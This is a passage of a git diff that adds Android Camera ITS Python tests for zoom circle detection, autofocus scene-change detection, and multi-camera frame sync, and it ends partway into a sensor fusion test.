+    circle:    [center_x, center_y, radius]
+  """
+
+  # gray scale & otsu threshold to binarize the image
+  gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
+  _, img_bw = cv2.threshold(
+      np.uint8(gray), 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)
+
+  # use OpenCV to find contours (connected components)
+  _, contours, _ = cv2.findContours(255 - img_bw, cv2.RETR_TREE,
+                                    cv2.CHAIN_APPROX_SIMPLE)
+
+  # check contours and find the best circle candidates
+  circles = []
+  img_ctr = [gray.shape[1] // 2, gray.shape[0] // 2]
+  for contour in contours:
+    area = cv2.contourArea(contour)
+    if area > min_area and len(contour) >= MIN_CIRCLE_PTS:
+      shape = cv2_image_processing_utils.component_shape(contour)
+      radius = (shape['width'] + shape['height']) / 4
+      colour = img_bw[shape['cty']][shape['ctx']]
+      circlish = round((math.pi * radius**2) / area, 4)
+      if colour == color and (1 - CIRCLE_TOL <= circlish <= 1 + CIRCLE_TOL):
+        circles.append([shape['ctx'], shape['cty'], radius, circlish, area])
+
+  if debug == 'true':
+    circles.sort(key=lambda x: abs(x[3] - 1.0))  # sort for best circles
+    logging.debug('circles [x, y, r, pi*r**2/area, area]: %s', str(circles))
+
+  # find circle closest to center
+  circles.sort(key=lambda x: distance(x[0] - img_ctr[0], x[1] - img_ctr[1]))
+  circle = circles[0]
+
+  # mark image center
+  size = gray.shape
+  m_x, m_y = size[1] // 2, size[0] // 2
+  marker_size = LINE_THICKNESS * 10
+  cv2.drawMarker(img, (m_x, m_y), LINE_COLOR, markerType=cv2.MARKER_CROSS,
+                 markerSize=marker_size, thickness=LINE_THICKNESS)
+
+  # add circle to saved image
+  center_i = (int(round(circle[0], 0)), int(round(circle[1], 0)))
+  radius_i = int(round(circle[2], 0))
+  cv2.circle(img, center_i, radius_i, LINE_COLOR, LINE_THICKNESS)
+  image_processing_utils.write_image(img / 255.0, img_name)
+
+  if not circles:
+    raise AssertionError('No circle was detected. Please take pictures '
+                         'according to instructions carefully!')
+
+  return [circle[0], circle[1], circle[2]]
+
+
+class ZoomTest(its_base_test.ItsBaseTest):
+  """Test the camera zoom behavior.
+  """
+
+  def test_zoom(self):
+    z_test_list = []
+    fls = []
+    circles = []
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.zoom_ratio_range(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      z_range = props['android.control.zoomRatioRange']
+      logging.debug('testing zoomRatioRange: %s', str(z_range))
+      yuv_size = capture_request_utils.get_largest_yuv_format(props)
+      size = [yuv_size['width'], yuv_size['height']]
+      debug = self.debug_mode
+
+      z_min, z_max = float(z_range[0]), float(z_range[1])
+      camera_properties_utils.skip_unless(z_max >= z_min * ZOOM_MIN_THRESH)
+      z_list = np.arange(z_min, z_max, float(z_max - z_min) / (NUM_STEPS - 1))
+      z_list = np.append(z_list, z_max)
+
+      # do captures over zoom range and find circles with cv2
+      logging.debug('cv2_version: %s', cv2.__version__)
+      req = capture_request_utils.auto_capture_request()
+      for i, z in enumerate(z_list):
+        logging.debug('zoom ratio: %.2f', z)
+        req['android.control.zoomRatio'] = z
+        cap = cam.do_capture(req, cam.CAP_YUV)
+        img = image_processing_utils.convert_capture_to_rgb_image(
+            cap, props=props)
+        img_name = '%s_%s.jpg' % (os.path.join(self.log_path,
+                                               NAME), round(z, 2))
+        image_processing_utils.write_image(img, img_name)
+
+        # convert to [0, 255] images with unsigned integer
+        img *= 255
+        img = img.astype(np.uint8)
+
+        # Find the center circle in img
+        circle = find_center_circle(
+            img, img_name, CIRCLE_COLOR,
+            min_area=MIN_AREA_RATIO * size[0] * size[1] * z * z,
+            debug=debug)
+        if circle_cropped(circle, size):
+          logging.debug('zoom %.2f is too large! Skip further captures', z)
+          break
+        circles.append(circle)
+        z_test_list.append(z)
+        fls.append(cap['metadata']['android.lens.focalLength'])
+
+    # assert some range is tested before circles get too big
+    zoom_max_thresh = ZOOM_MAX_THRESH
+    if z_max < ZOOM_MAX_THRESH:
+      zoom_max_thresh = z_max
+    if z_test_list[-1] < zoom_max_thresh:
+      raise AssertionError(f'Max zoom level tested: {z_test_list[-1]}, '
+                           f'THRESH: {zoom_max_thresh}')
+
+    # initialize relative size w/ zoom[0] for diff zoom ratio checks
+    radius_0 = float(circles[0][2])
+    z_0 = float(z_test_list[0])
+
+    for i, z in enumerate(z_test_list):
+      logging.debug('Zoom: %.2f, fl: %.2f', z, fls[i])
+      offset_abs = [(circles[i][0] - size[0] // 2),
+                    (circles[i][1] - size[1] // 2)]
+      logging.debug('Circle r: %.1f, center offset x, y: %d, %d', circles[i][2],
+                    offset_abs[0], offset_abs[1])
+      z_ratio = z / z_0
+
+      # check relative size against zoom[0]
+      radius_ratio = circles[i][2] / radius_0
+      logging.debug('radius_ratio: %.3f', radius_ratio)
+      if not np.isclose(z_ratio, radius_ratio, rtol=RADIUS_RTOL):
+        raise AssertionError(f'zoom: {z_ratio:.2f}, radius ratio: '
+                             f'{radius_ratio:.2f}, RTOL: {RADIUS_RTOL}')
+
+      # check relative offset against init vals w/ no focal length change
+      if i == 0 or fls[i - 1] != fls[i]:  # set init values
+        z_init = float(z_test_list[i])
+        offset_init = [circles[i][0] - size[0]//2, circles[i][1] - size[1]//2]
+      else:  # check
+        z_ratio = z / z_init
+        offset_rel = (distance(offset_abs[0], offset_abs[1]) / z_ratio /
+                      distance(offset_init[0], offset_init[1]))
+        logging.debug('offset_rel: %.3f', offset_rel)
+        if not np.isclose(offset_rel, 1.0, rtol=OFFSET_RTOL):
+          raise AssertionError(f'zoom: {z:.2f}, offset(rel): {offset_rel:.4f}, '
+                               f'RTOL: {OFFSET_RTOL}')
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene_change/scene_change.pdf b/apps/CameraITS2.0/tests/scene_change/scene_change.pdf
new file mode 100644
index 0000000..a5786d6
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene_change/scene_change.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene_change/scene_change_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene_change/scene_change_0.5x_scaled.pdf
new file mode 100644
index 0000000..ca92a4e
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene_change/scene_change_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene_change/scene_change_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene_change/scene_change_0.67x_scaled.pdf
new file mode 100644
index 0000000..eca9d3e
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene_change/scene_change_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene_change/test_scene_change.py b/apps/CameraITS2.0/tests/scene_change/test_scene_change.py
new file mode 100644
index 0000000..614501f
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene_change/test_scene_change.py
@@ -0,0 +1,242 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import multiprocessing
+import os.path
+import time
+
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import scene_change_utils
+
+_BRIGHT_CHANGE_TOL = 0.2
+_CONTINUOUS_PICTURE_MODE = 4
+_CONVERGED_3A = (2, 2, 2)  # (AE, AF, AWB)
+_DELAY_CAPTURE = 1.5  # Delay in first capture to sync events (sec).
+_DELAY_DISPLAY = 3.0  # Time when display turns OFF (sec).
+_FPS = 30  # Frames Per Second
+_M_TO_CM = 100
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NSEC_TO_MSEC = 1E-6
+_NUM_TRIES = 6
+_NUM_FRAMES = 50
+_PATCH_H = 0.1  # Center 10%.
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_RGB_G_CH = 1
+_SCENE_CHANGE_FLAG_TRUE = 1
+_VALID_SCENE_CHANGE_VALS = (0, 1)
+_VGA_W, _VGA_H = 640, 480
+
+
+def find_3a_converged_frame(cap_data):
+  converged_frame = -1
+  for i, cap in enumerate(cap_data):
+    if cap['3a_state'] == _CONVERGED_3A:
+      converged_frame = i
+      break
+  logging.debug('Frame index where 3A converges: %d', converged_frame)
+  return converged_frame
+
+
+def determine_if_scene_changed(cap_data, converged_frame):
+  """Determine if the scene has changed during captures.
+
+  Args:
+    cap_data: Camera capture object.
+    converged_frame: Integer indicating when 3A converged.
+
+  Returns:
+    A 2-tuple of booleans where the first is for AF scene change flag asserted
+    and the second is for whether brightness in images changed.
+  """
+  scene_change_flag = False
+  bright_change_flag = False
+  start_frame_brightness = cap_data[0]['avg']
+  for i in range(converged_frame, len(cap_data)):
+    if cap_data[i]['avg'] <= (
+        start_frame_brightness * (1.0 - _BRIGHT_CHANGE_TOL)):
+      bright_change_flag = True
+    if cap_data[i]['flag'] == _SCENE_CHANGE_FLAG_TRUE:
+      scene_change_flag = True
+  return scene_change_flag, bright_change_flag
+
+
+def toggle_screen(tablet, delay=1):
+  """Sets the chart host screen display level .
+
+  Args:
+    tablet: Object for screen tablet.
+    delay: Float value for time delay. Default is 1 second.
+  """
+  t0 = time.time()
+  if delay >= 0:
+    time.sleep(delay)
+  else:
+    raise ValueError(f'Screen toggle time shifted to {delay} w/o scene change. '
+                     'Tablet does not appear to be toggling. Check setup.')
+  tablet.adb.shell('input keyevent KEYCODE_POWER')
+  t = time.time() - t0
+  logging.debug('Toggling display at %.3f.', t)
+
+
+def capture_frames(cam, delay, burst, log_path):
+  """Capture NUM_FRAMES frames and log metadata.
+
+  3A state information:
+    AE_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED,
+                4: FLASH_REQ, 5: PRECAPTURE}
+    AF_STATES: {0: INACTIVE, 1: PASSIVE_SCAN, 2: PASSIVE_FOCUSED,
+                3: ACTIVE_SCAN, 4: FOCUS_LOCKED, 5: NOT_FOCUSED_LOCKED,
+                6: PASSIVE_UNFOCUSED}
+    AWB_STATES: {0: INACTIVE, 1: SEARCHING, 2: CONVERGED, 3: LOCKED}
+
+  Args:
+    cam: Camera object.
+    delay: Float value for time delay in seconds.
+    burst: Integer number of burst index.
+    log_path: String location to save images.
+  Returns:
+    cap_data_list. List of dicts for each capture.
+  """
+  cap_data_list = []
+  req = capture_request_utils.auto_capture_request()
+  req['android.control.afMode'] = _CONTINUOUS_PICTURE_MODE
+  fmt = {'format': 'yuv', 'width': _VGA_W, 'height': _VGA_H}
+  t0 = time.time()
+  time.sleep(delay)
+  logging.debug('cap event start: %.6f', time.time() - t0)
+  caps = cam.do_capture([req]*_NUM_FRAMES, fmt)
+  logging.debug('cap event stop: %.6f', time.time() - t0)
+
+  # Extract frame metadata.
+  for i, cap in enumerate(caps):
+    cap_data = {}
+    exp = cap['metadata']['android.sensor.exposureTime'] * _NSEC_TO_MSEC
+    iso = cap['metadata']['android.sensor.sensitivity']
+    focal_length = cap['metadata']['android.lens.focalLength']
+    ae_state = cap['metadata']['android.control.aeState']
+    af_state = cap['metadata']['android.control.afState']
+    awb_state = cap['metadata']['android.control.awbState']
+    if focal_length:
+      fl_str = str(round(_M_TO_CM/focal_length, 2)) + 'cm'
+    else:
+      fl_str = 'infinity'
+    flag = cap['metadata']['android.control.afSceneChange']
+    if flag not in _VALID_SCENE_CHANGE_VALS:
+      raise AssertionError(f'afSceneChange not a valid value: {flag}.')
+    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+    image_processing_utils.write_image(
+        img, '%s_%d_%d.jpg' % (os.path.join(log_path, _NAME), burst, i))
+    patch = image_processing_utils.get_image_patch(
+        img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+    green_avg = image_processing_utils.compute_image_means(patch)[_RGB_G_CH]
+    logging.debug(
+        '%d, iso: %d, exp: %.2fms, fd: %s, avg: %.3f, 3A: [%d,%d,%d], flag: %d',
+        i, iso, exp, fl_str, green_avg, ae_state, af_state, awb_state, flag)
+    cap_data['3a_state'] = (ae_state, af_state, awb_state)
+    cap_data['avg'] = green_avg
+    cap_data['flag'] = flag
+    cap_data_list.append(cap_data)
+  return cap_data_list
+
+
+class SceneChangeTest(its_base_test.ItsBaseTest):
+  """Tests that AF scene change detected metadata changes for scene change.
+
+  Confirm android.control.afSceneChangeDetected is asserted when scene changes.
+
+  Does continuous capture with face scene during scene change. With no scene
+  change, behavior should be similar to scene2_b/test_continuous_picture.
+  Scene change is modeled with scene tablet powered down during continuous
+  capture. If tablet does not exist, scene change can be modeled with hand wave
+  in front of camera.
+
+  Depending on scene brightness changes and scene change flag assertions during
+  test, adjust tablet timing to move scene change to appropriate timing for
+  test.
+  """
+
+  def test_scene_change(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+      tablet = self.tablet
+
+      # Check SKIP conditions.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.continuous_picture(props) and
+          camera_properties_utils.af_scene_change(props))
+
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, tablet, self.chart_distance)
+
+      # Do captures with scene change.
+      tablet_level = int(self.tablet_screen_brightness)
+      logging.debug('Tablet brightness: %d', tablet_level)
+      scene_change_delay = _DELAY_DISPLAY
+      cam.do_3a()  # Do 3A up front to settle camera.
+      for burst in range(_NUM_TRIES):
+        logging.debug('burst number: %d', burst)
+        # Create scene change by turning off chart display & capture frames
+        if tablet:
+          multiprocessing.Process(name='p1', target=toggle_screen,
+                                  args=(tablet, scene_change_delay,)).start()
+        else:
+          print('Wave hand in front of camera to create scene change.')
+        cap_data = capture_frames(cam, _DELAY_CAPTURE, burst, log_path)
+
+        # Find frame where 3A converges and final brightness.
+        converged_frame = find_3a_converged_frame(cap_data)
+        converged_flag = True if converged_frame != -1 else False
+        bright_final = cap_data[_NUM_FRAMES - 1]['avg']
+
+        # Determine if scene changed.
+        scene_change_flag, bright_change_flag = determine_if_scene_changed(
+            cap_data, converged_frame)
+
+        # Adjust timing based on captured frames and scene change flags.
+        timing_adjustment = scene_change_utils.calc_timing_adjustment(
+            converged_flag, scene_change_flag, bright_change_flag, bright_final)
+        if timing_adjustment == scene_change_utils.SCENE_CHANGE_PASS_CODE:
+          break
+        elif timing_adjustment == scene_change_utils.SCENE_CHANGE_FAIL_CODE:
+          raise AssertionError('Test fails. Check logging.error.')
+        else:
+          if burst == _NUM_TRIES-1:  # FAIL out after NUM_TRIES.
+            raise AssertionError(f'No scene change in {_NUM_TRIES}x tries.')
+          else:
+            scene_change_delay += timing_adjustment / _FPS
+
+        if tablet:
+          logging.debug('Turning screen back ON.')
+          toggle_screen(tablet)
+
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/sensor_fusion/SensorFusion.pdf b/apps/CameraITS2.0/tests/sensor_fusion/SensorFusion.pdf
new file mode 100644
index 0000000..982d7cc
--- /dev/null
+++ b/apps/CameraITS2.0/tests/sensor_fusion/SensorFusion.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/sensor_fusion/checkerboard.pdf b/apps/CameraITS2.0/tests/sensor_fusion/checkerboard.pdf
new file mode 100644
index 0000000..3ab30d2
--- /dev/null
+++ b/apps/CameraITS2.0/tests/sensor_fusion/checkerboard.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/sensor_fusion/test_multi_camera_frame_sync.py b/apps/CameraITS2.0/tests/sensor_fusion/test_multi_camera_frame_sync.py
new file mode 100644
index 0000000..9970874
--- /dev/null
+++ b/apps/CameraITS2.0/tests/sensor_fusion/test_multi_camera_frame_sync.py
@@ -0,0 +1,282 @@
+# Copyright 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import multiprocessing
+import os
+import time
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy
+
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import cv2_image_processing_utils
+import image_processing_utils
+import its_session_utils
+import sensor_fusion_utils
+
+_ANGLE_90_MASK = 10  # (degrees) mask around 0/90 as rotated squares look same
+_ANGLE_JUMP_90 = 60  # 90 - 2*ANGLE_90_MASK - 2*5 degree slop on top/bottom
+_ANGULAR_DIFF_THRESH_API30 = 10  # degrees
+_ANGULAR_DIFF_THRESH_CALIBRATED = 1.8  # degrees (180 deg / 1000 ms * 10 ms)
+_ANGULAR_MOVEMENT_THRESHOLD = 35  # degrees
+_FRAMES_WITH_SQUARES_MIN = 20  # min number of frames with angles extracted
+_NAME = os.path.basename(__file__).split('.')[0]
+_NUM_CAPTURES = 100
+_NUM_ROTATIONS = 10
+_ROT_INIT_WAIT_TIME = 2  # seconds
+_CHART_DISTANCE_SF = 25  # cm
+_CM_TO_M = 1/100.0
+
+
+def _determine_max_frame_to_frame_shift(angle_pairs):
+  """Detemine max frame to frame shift from 10-80 data."""
+  frame_to_frame_diff_max = 0
+  for i in range(1, len(angle_pairs)):
+    for j in [0, 1]:
+      frame_to_frame_diff = abs(
+          angle_pairs[i][j] - angle_pairs[i-1][j])
+      if _ANGLE_JUMP_90 > frame_to_frame_diff > frame_to_frame_diff_max:
+        frame_to_frame_diff_max = frame_to_frame_diff
+      logging.debug('cam: %d frame_to_frame_diff: %.2f', j, frame_to_frame_diff)
+  logging.debug('frame_to_frame_diff_max: %.2f', frame_to_frame_diff_max)
+  return frame_to_frame_diff_max
+
+
+def _determine_angular_diff_thresh(first_api_level, sync_calibrated,
+                                   frame_to_frame_max):
+  """Determine angular difference threshold based on first API & sync type."""
+  if first_api_level < 31:  # Original constraint.
+    angular_diff_thresh = _ANGULAR_DIFF_THRESH_API30
+    logging.debug('first API level < 31')
+  else:  # Change depending on APPROX or CALIBRATED time source.
+    if sync_calibrated:  # CALIBRATED sync
+      angular_diff_thresh = _ANGULAR_DIFF_THRESH_CALIBRATED
+      logging.debug('CALIBRATED sync')
+    else:  # APPROXIMATE sync
+      angular_diff_thresh = frame_to_frame_max
+      logging.debug('APPROXIMATE sync')
+  logging.debug('angular diff threshold: %.2f', angular_diff_thresh)
+  return angular_diff_thresh
+
+
+def _remove_frames_without_enough_squares(frame_pairs_angles):
+  """Remove any frames without enough squares."""
+  filtered_pairs_angles = []
+  for angle_1, angle_2 in frame_pairs_angles:
+    if angle_1 is None or angle_2 is None:
+      continue
+    filtered_pairs_angles.append([angle_1, angle_2])
+
+  num_filtered_pairs_angles = len(filtered_pairs_angles)
+  logging.debug('Using %d image pairs to compute angular difference.',
+                num_filtered_pairs_angles)
+
+  if num_filtered_pairs_angles < _FRAMES_WITH_SQUARES_MIN:
+    raise AssertionError('Unable to identify enough frames with detected '
+                         f'squares. Found: {num_filtered_pairs_angles}, '
+                         f'THRESH: {_FRAMES_WITH_SQUARES_MIN}.')
+
+  return filtered_pairs_angles
+
+
+def _mask_angles_near_extremes(frame_pairs_angles):
+  """Mask out the data near the top and bottom of angle range."""
+  masked_pairs_angles = [[i, j] for i, j in frame_pairs_angles
+                         if _ANGLE_90_MASK <= abs(i) <= 90-_ANGLE_90_MASK and
+                         _ANGLE_90_MASK <= abs(j) <= 90-_ANGLE_90_MASK]
+  return masked_pairs_angles
+
+
+def _plot_frame_pairs_angles(frame_pairs_angles, ids, log_path):
+  """Plot the extracted angles."""
+  matplotlib.pyplot.figure('Camera Rotation Angle')
+  cam0_angles = [i for i, _ in frame_pairs_angles]
+  cam1_angles = [j for _, j in frame_pairs_angles]
+  pylab.plot(range(len(cam0_angles)), cam0_angles, '-r.', alpha=0.5,
+             label='%s' % ids[0])
+  pylab.plot(range(len(cam1_angles)), cam1_angles, '-g.', alpha=0.5,
+             label='%s' % ids[1])
+  pylab.legend()
+  pylab.xlabel('Frame number')
+  pylab.ylabel('Rotation angle (degrees)')
+  matplotlib.pyplot.savefig(
+      '%s_angles_plot.png' % os.path.join(log_path, _NAME))
+
+  matplotlib.pyplot.figure('Angle Diffs')
+  angle_diffs = [j-i for i, j in frame_pairs_angles]
+  pylab.plot(range(len(angle_diffs)), angle_diffs, '-b.',
+             label='cam%s-%s' % (ids[1], ids[0]))
+  pylab.legend()
+  pylab.xlabel('Frame number')
+  pylab.ylabel('Rotation angle difference (degrees)')
+  matplotlib.pyplot.savefig(
+      '%s_angle_diffs_plot.png' % os.path.join(log_path, _NAME))
+
+
+class MultiCameraFrameSyncTest(its_base_test.ItsBaseTest):
+  """Test frame timestamps captured by logical camera are within 10ms.
+
+  Captures data with phone moving in front of chessboard pattern.
+  Extracts angles from images and calculated angles. Compares angle movement
+  between the 2 cameras.
+  Masks out data near 90 degrees as with the chessboard, 90 degrees will
+  look like 0 degrees.
+  """
+
+  def _collect_data(self, cam, props, rot_rig):
+    """Returns list of pair of gray frames and camera ids used for captures."""
+
+    # Determine return parameters
+    ids = camera_properties_utils.logical_multi_camera_physical_ids(props)
+
+    # Define capture request
+    sens, exp, _, _, _ = cam.do_3a(get_results=True, do_af=False)
+    req = capture_request_utils.manual_capture_request(sens, exp)
+    fd_min = props['android.lens.info.minimumFocusDistance']
+    fd_chart = 1 / (_CHART_DISTANCE_SF * _CM_TO_M)
+    if fd_min < fd_chart:
+      req['android.lens.focusDistance'] = fd_min
+    else:
+      req['android.lens.focusDistance'] = fd_chart
+
+    # Capture YUVs
+    width = cv2_image_processing_utils.VGA_WIDTH
+    height = cv2_image_processing_utils.VGA_HEIGHT
+    out_surfaces = [{'format': 'yuv', 'width': width, 'height': height,
+                     'physicalCamera': ids[0]},
+                    {'format': 'yuv', 'width': width, 'height': height,
+                     'physicalCamera': ids[1]}]
+
+    out_surfaces_supported = cam.is_stream_combination_supported(out_surfaces)
+    camera_properties_utils.skip_unless(out_surfaces_supported)
+
+    # Start camera rotation & sleep shortly to let rotations start
+    p = multiprocessing.Process(
+        target=sensor_fusion_utils.rotation_rig,
+        args=(rot_rig['cntl'], rot_rig['ch'], _NUM_ROTATIONS,))
+    p.start()
+    time.sleep(_ROT_INIT_WAIT_TIME)
+
+    # Do captures
+    capture_1_list, capture_2_list = cam.do_capture(
+        [req]*_NUM_CAPTURES, out_surfaces)
+
+    # Create list of capture pairs. [[cap1A, cap1B], [cap2A, cap2B], ...]
+    frame_pairs = zip(capture_1_list, capture_2_list)
+
+    # Convert captures to grayscale
+    frame_pairs_gray = []
+    for pair in frame_pairs:
+      frame_pairs_gray.append(
+          [cv2.cvtColor(image_processing_utils.convert_capture_to_rgb_image(
+              f, props=props), cv2.COLOR_RGB2GRAY) for f in pair])
+
+    # Save images
+    for i, imgs in enumerate(frame_pairs_gray):
+      for j in [0, 1]:
+        file_name = '%s_%s_%03d.png' % (
+            os.path.join(self.log_path, _NAME), ids[j], i)
+        cv2.imwrite(file_name, imgs[j]*255)
+
+    return frame_pairs_gray, ids
+
+  def _assert_camera_movement(self, frame_pairs_angles):
+    """Assert the angles between each frame pair are sufficiently different.
+
+    Args:
+      frame_pairs_angles: [normal, wide] angles extracted from images.
+
+    Different angles is an indication of camera movement.
+    """
+    angles = [i for i, _ in frame_pairs_angles]
+    max_angle = numpy.amax(angles)
+    min_angle = numpy.amin(angles)
+    logging.debug('Camera movement. min angle: %.2f, max: %.2f',
+                  min_angle, max_angle)
+    if max_angle-min_angle < _ANGULAR_MOVEMENT_THRESHOLD:
+      raise AssertionError(
+          f'Not enough phone movement! min angle: {min_angle:.2f}, max angle: '
+          f'{max_angle:.2f}, THRESH: {_ANGULAR_MOVEMENT_THRESHOLD:d} deg')
+
+  def _assert_angular_difference(self, angle_1, angle_2, angular_diff_thresh):
+    """Assert angular difference is within threshold."""
+    diff = abs(angle_2 - angle_1)
+
+    # Assert difference is less than threshold
+    if diff > angular_diff_thresh:
+      raise AssertionError(
+          f'Too much difference between cameras! Angle 1: {angle_1:.2f}, 2: '
+          f'{angle_2:.2f}, diff: {diff:.3f}, TOL: {angular_diff_thresh}.')
+
+  def test_multi_camera_frame_sync(self):
+    rot_rig = {}
+    rot_rig['cntl'] = self.rotator_cntl
+    rot_rig['ch'] = self.rotator_ch
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Check SKIP conditions.
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.multi_camera_frame_sync_capable(props))
+
+      # Get first API level & multi camera sync type
+      first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+      sync_calibrated = camera_properties_utils.multi_camera_sync_calibrated(
+          props)
+      logging.debug(
+          'sync: %s', 'CALIBRATED' if sync_calibrated else 'APPROXIMATE')
+
+      # Collect data
+      frame_pairs_gray, ids = self._collect_data(cam, props, rot_rig)
+
+    # Compute angles in frame pairs
+    frame_pairs_angles = [
+        [cv2_image_processing_utils.get_angle(p[0]),
+         cv2_image_processing_utils.get_angle(p[1])] for p in frame_pairs_gray]
+
+    # Remove frames where not enough squares were detected.
+    filtered_pairs_angles = _remove_frames_without_enough_squares(
+        frame_pairs_angles)
+
+    # Mask out data near 90 degrees.
+    masked_pairs_angles = _mask_angles_near_extremes(filtered_pairs_angles)
+
+    # Plot angles and differences.
+    _plot_frame_pairs_angles(filtered_pairs_angles, ids, self.log_path)
+
+    # Ensure camera moved.
+    self._assert_camera_movement(masked_pairs_angles)
+
+    # Ensure angle between the two cameras is not too different.
+    max_frame_to_frame_diff = _determine_max_frame_to_frame_shift(
+        masked_pairs_angles)
+    angular_diff_thresh = _determine_angular_diff_thresh(
+        first_api_level, sync_calibrated, max_frame_to_frame_diff)
+    for cam_1_angle, cam_2_angle in masked_pairs_angles:
+      self._assert_angular_difference(
+          cam_1_angle, cam_2_angle, angular_diff_thresh)
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS2.0/tests/sensor_fusion/test_sensor_fusion.py
new file mode 100644
index 0000000..af71fe5
--- /dev/null
+++ b/apps/CameraITS2.0/tests/sensor_fusion/test_sensor_fusion.py
@@ -0,0 +1,470 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import json
+import logging
+import math
+import multiprocessing
+import os
+import time
+
+from matplotlib import pylab
+import matplotlib.pyplot
+from mobly import test_runner
+import numpy as np
+import scipy.spatial
+
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import sensor_fusion_utils
+
+_CAM_FRAME_RANGE_MAX = 9.0  # Seconds: max allowed camera frame range.
+_FEATURE_MARGIN = 0.20  # Only take feature points from center 20% so that
+                        # rotation measured has less rolling shutter effect.
+_CV2_FEATURE_PARAMS = dict(maxCorners=240,
+                           qualityLevel=0.3,
+                           minDistance=7,
+                           blockSize=7)  # values for cv2.goodFeaturesToTrack
+_FEATURE_PTS_MIN = 30  # Min number of feature pts to perform rotation analysis.
+_GYRO_SAMP_RATE_MIN = 100.0  # Samples/second: min gyro sample rate.
+_CV2_LK_PARAMS = dict(winSize=(15, 15),
+                      maxLevel=2,
+                      criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT,
+                                10, 0.03))  # cv2.calcOpticalFlowPyrLK params.
+
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NUM_ROTATIONS = 10
+
+# Constants to convert between different units (for clarity).
+_SEC_TO_MSEC = 1000.0
+_MSEC_TO_NSEC = 1000*1000.0
+_NSEC_TO_SEC = 1.0E-9
+_CM_TO_M = 1E-2
+_RADS_TO_DEGS = 180/math.pi
+
+# PASS/FAIL thresholds.
+_CORR_DIST_THRESH_MAX = 0.005
+_OFFSET_MS_THRESH_MAX = 1  # mseconds
+_ROTATION_PER_FRAME_MIN = 0.001  # rads/s
+
+# PARAMs from S refactor.
+_GYRO_INIT_WAIT_TIME = 0.5  # Seconds to wait for gyro to stabilize.
+_GYRO_POST_WAIT_TIME = 0.2  # Seconds to wait to capture some extra gyro data.
+_IMG_SIZE_MAX = 640 * 480  # Maximum image size.
